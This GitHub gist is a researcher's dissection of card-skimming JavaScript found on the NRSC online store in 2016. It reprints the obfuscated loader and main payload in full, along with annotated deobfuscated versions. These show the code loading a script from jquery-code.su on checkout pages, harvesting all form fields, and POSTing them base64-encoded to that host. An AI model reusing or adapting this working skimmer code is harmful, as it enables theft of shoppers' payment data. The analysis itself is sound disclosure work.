Skip to content

Instantly share code, notes, and snippets.

@gwillem
Last active July 24, 2023 16:55
Show Gist options
  • Star 18 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save gwillem/3c3f566278ac01a290560f64129d3df0 to your computer and use it in GitHub Desktop.
Save gwillem/3c3f566278ac01a290560f64129d3df0 to your computer and use it in GitHub Desktop.
Credit card skimming code @ store.nrsc.org

Dissection of new card skimming malware

See main article about the compromised Republican Senate store

The discovered Javascript code runs hidden in the browser and activates when text is entered on a payment page. All the text is then copied and - again hidden in the background - sent to a foreign server.

The bootstrapping code

The original skimming code as present on http://store.nrsc.org on October 5th, 2016:

var x="he$17$17mdv$1/QdfDwo$17$16nmdo`fd$6Bbgdbjnts$6Bnmdrsdo$6Bchqdbsonrs$6Bm`a$6Behqdbgdbjnts$16$18$18-sdrs$17vhmcnv-knb`shnm$18$18$1/$6A$/@$/8cnbtldms-vqhsd$17$16$2Brbqhos$1/rqb$2C$11gssor$2@..vvv-tor-bnl.`rrdsr.eq`ldvnqj.iptdqx.iptdqx,0-00-0-lhm-ir$11$2D$2B.rbq$16*$16hos$2D$2Brbqhos$1/sxod$2C$11sdws.i`u`rbqhos$11$2Du`q$1/iPtdqx06$1/$2C$1/$13-mnBnmekhbs$17sqtd$18$2A$2B.rbq$16*$16hos$2D$2Brbqhos$1/rqb$2C$11gssor$2@..iptdqx,bncd-rt.hl`fdr.khsd-ir$11$2D$2B.rbq$16*$16hos$2D$16$18$2A$/@$6C$2A",y="",w="",z;z=x['length'];for(i=0;i<z;i++){y+=String['fromCharCode'](x['charCodeAt'](i)+1) }w=this['unescape'](y);this['eval'](w);

Which is obfuscated but equivalent to a piece of code that loads an extra Javascript file from jquery-code.su, whenever the current page is a payment/checkout page. (It also loads the JQuery library from ups.com, which in this case is redundant as JQuery was already loaded by the Republican store.)

if((new RegExp('onepage|checkout|onestep|directpost|nab|firecheckout')).test(window.location)) {
	document.write(
		'<script src="https://www.ups.com/assets/framework/jquery/jquery-1.11.1.min.js"></script>' +
		'<script type="text/javascript">var jQuery17 = $.noConflict(true);</script>' +
		'<script src="https://jquery-code.su/images/lite.js"></script>'
	);
};

The main payload

The contents of https://jquery-code.su/images/lite.js as of October 5th, 2016:

var _0x9be0=["\x63\x68\x61\x6E\x67\x65","\x66\x6F\x72\x6D","\x73\x65\x6C\x65\x63\x74\x5B\x69\x64\x3D\x22\x65\x77\x61\x79\x5F\x72\x61\x70\x69\x64\x5F\x65\x78\x70\x69\x72\x61\x74\x69\x6F\x6E\x5F\x79\x72\x22\x5D","\x73\x65\x6C\x65\x63\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x70\x61\x79\x6D\x65\x6E\x74\x5B\x63\x63\x5F\x65\x78\x70\x5F\x79\x65\x61\x72\x5D\x22\x5D","\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x65\x78\x70\x69\x72\x61\x74\x69\x6F\x6E\x22\x5D","\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x66\x75\x6C\x6C\x5F\x63\x63\x5F\x65\x78\x70\x69\x72\x61\x74\x69\x6F\x6E\x22\x5D","\x73\x65\x6C\x65\x63\x74\x5B\x69\x64\x3D\x22\x72\x65\x64\x65\x63\x61\x72\x64\x5F\x65\x78\x70\x69\x72\x61\x74\x69\x6F\x6E\x5F\x79\x72\x22\x5D","\x73\x65\x6C\x65\x63\x74\x5B\x69\x64\x3D\x22\x73\x74\x72\x69\x70\x65\x5F\x63\x63\x5F\x65\x78\x70\x69\x72\x61\x74\x69\x6F\x6E\x5F\x79\x65\x61\x72\x22\x5D","\x6C\x65\x6E\x67\x74\x68","\x76\x61\x6C","","\x69\x6E\x70\x75\x74\x2C\x20\x73\x65\x6C\x65\x63\x74\x2C\x20\x74\x65\x78\x74\x61\x72\x65\x61\x2C\x20\x63\x68\x65\x63\x6B\x62\x6F\x78","\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72\x41\x6C\x6C","\x76\x61\x6C\x75\x65","\x6E\x61\x6D\x65","\x6A\x69\x6B","\x2D","\x72\x65\x70\x6C\x61\x63\x65","\x3D","\x26","\x69\x6E\x66\x6F\x3D","\x26\x68\x6F\x73\x74\x6E\x61\x6D\x65\x3D","\x5F","\x6A\x6F\x69\x6E","\x73\x6C\x69\x63\x65","\x2E","\x73\x70\x6C\x69\x74","\x68\x6F\x73\x74\x6E\x61\x6D\x65","\x26\x6B\x65\x79\x3D","\x72\x61\x6E\x64\x6F\x6D","\x66\x6C\x6F\x6F\x72","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6A\x71\x75\x65\x72\x79\x2D\x63\x6F\x64\x65\x2E\x73\x75\x2F\x69\x6D\x61\x67\x65\x73\x2F\x70\x61\x79\x70\x61\x6C\x2D\x6C\x6F\x67\x6F\x2E\x6A\x70\x67","\x50\x4F\x53\x54","\x6A\x73\x6F\x6E","\x61\x6A\x61\x78","\x6F\x6E"];setTimeout(function(){jQuery17(function(_0xc821x1){_0xc821x1(document)[_0x9be0[35]](_0x9be0[0],_0x9be0[1],function(){a= [_0x9be0[2],_0x9be0[3],_0x9be0[4],_0x9be0[5],_0x9be0[6],_0x9be0[7]];for(var _0xc821x2=0;_0xc821x2< 6;_0xc821x2++){try{if(_0xc821x1(a[_0xc821x2])[_0x9be0[9]]()[_0x9be0[8]]> 0){_0xc821x3()}}catch(e){}};function _0xc821x3(){var _0xc821x4=_0x9be0[10];var _0xc821x5=document[_0x9be0[12]](_0x9be0[11]);for(var _0xc821x6=0;_0xc821x6< _0xc821x5[_0x9be0[8]];_0xc821x6++){if(_0xc821x5[_0xc821x6][_0x9be0[13]][_0x9be0[8]]> 0){var _0xc821x7=_0xc821x5[_0xc821x6][_0x9be0[14]];if(_0xc821x7== _0x9be0[10]){_0xc821x7= _0x9be0[15]+ _0xc821x6};var _0xc821x8=_0xc821x7[_0x9be0[17]](/\[/g,_0x9be0[16]);var _0xc821x9=_0xc821x8[_0x9be0[17]](/-redecard/,_0x9be0[10]);_0xc821x4+= _0xc821x9[_0x9be0[17]](/]/g,_0x9be0[10])+ _0x9be0[18]+ _0xc821x5[_0xc821x6][_0x9be0[13]]+ _0x9be0[19]}};_0xc821x4= _0x9be0[20]+ btoa(_0xc821x4)+ _0x9be0[21]+ location[_0x9be0[27]][_0x9be0[26]](_0x9be0[25])[_0x9be0[24]](0)[_0x9be0[23]](_0x9be0[22])+ _0x9be0[28]+ Math[_0x9be0[30]](Math[_0x9be0[29]]()* (999999999- 11111111+ 1)+ 11111111);_0xc821x1[_0x9be0[34]]({url:_0x9be0[31],data:_0xc821x4,type:_0x9be0[32],dataType:_0x9be0[33],success:function(_0xc821xa){return false},error:function(_0xc821xb,_0xc821xc,_0xc821xd){return false}})}})})},10000)

This requires some manual interpretation to make it readable. I have removed some clutter, renamed variables and added comments.

setTimeout(function() {
  jQuery17(function($) {
    // whenever a form on the current page changes...
    $(document)["on"]("change", "form", function() {
      function grab_and_send_the_loot() {
        var base64data = "";
        // grab all form elements
        var all_form_fields = document["querySelectorAll"]("input, select, textarea, checkbox");
        var i = 0;
        for (;i < all_form_fields["length"];i++) {
          if (all_form_fields[i]["value"]["length"] > 0) {
            var formfield = all_form_fields[i]["name"];
            if (formfield == "") {
              formfield = "jik" + i;
            }
            // remove special characters from the form data
            formfield = formfield["replace"](/\[/g, "-");
	    
            // remove "redecard" (this is a brazilian credit card)
            formfield = formfield["replace"](/-redecard/, "");
            
	    base64data += formfield["replace"](/]/g, "") + "=" + all_form_fields[i]["value"] + "&";
          }
        }
        // encode the long string of credit card data into base64 and add the domain of the current site
        base64data = "info=" + btoa(base64data) + 
          	"&hostname=" + location["hostname"]["split"](".")["slice"](0)["join"]("_") + 
          	"&key=" + Math["floor"](Math["random"]() * 988888889 + 11111111);

        // Send everything to a Russian site in the background
        // and get a paypal logo back. 
        // Profit!
        $["ajax"]({
          url : "https://jquery-code.su/images/paypal-logo.jpg",
          data : base64data,
          type : "POST",
          dataType : "json",
          success : function(textStatus) {
            return false;
          },
          error : function(textStatus, jqXHR, origError) {
            return false;
          }
        });
      }
      
      // monitor these fields for added text
      a = ['select[id="eway_rapid_expiration_yr"]', 'select[name="payment[cc_exp_year]"]', 'input[name="expiration"]',
        'input[name="full_cc_expiration"]', 'select[id="redecard_expiration_yr"]', 'select[id="stripe_cc_expiration_year"]'];
      var pos = 0;
      for (;pos < 6;pos++) {
        try {
          if ($(a[pos])["val"]()["length"] > 0) {
            grab_and_send_the_loot();
          }
        } catch (e) {
        }
      }
    });
  });
}, 1E4);

Pretty clever.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment